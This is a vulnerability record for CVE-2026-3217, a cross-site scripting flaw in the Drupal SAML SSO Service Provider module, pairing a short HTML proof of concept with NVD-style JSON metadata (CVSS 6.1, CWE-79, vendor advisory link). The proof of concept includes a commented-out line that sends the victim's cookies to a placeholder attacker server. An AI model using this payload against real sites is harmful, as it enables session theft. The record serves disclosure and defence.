CVE-2026-3217

<!-- Proof of Concept for CVE-2026-3217 --> <!-- Attacker sends the following URL to the victim --> <!-- https://target-drupal-site/saml/acs?SAMLResponse=[encoded_payload] --> <script> // Simple PoC to demonstrate execution alert('CVE-2026-3217 XSS Triggered'); // Advanced scenario: Steal cookies // var i = new Image(); // i.src = "http://attacker-server.com/steal.php?c=" + document.cookie; </script>

{"cve": {"id": "CVE-2026-3217", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:22.917", "lastModified": "2026-03-31T19:25:48.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal SAML SSO - Service Provider allows Cross-Site Scripting (XSS).This issue affects SAML SSO - Service Provider: from 0.0.0 before 3.1.3."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Inadecuada de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Drupal SAML SSO - Service Provider permite cross-site scripting (XSS). Este problema afecta a SAML SSO - Service Provider: desde 0.0.0 hasta antes de 3.1.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:miniorange:saml_sso_-_service_provider:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "3.1.3", "matchCriteriaId": "BB6BBFD3-F6DF-4228-8274-DD15EE729698"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-018", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}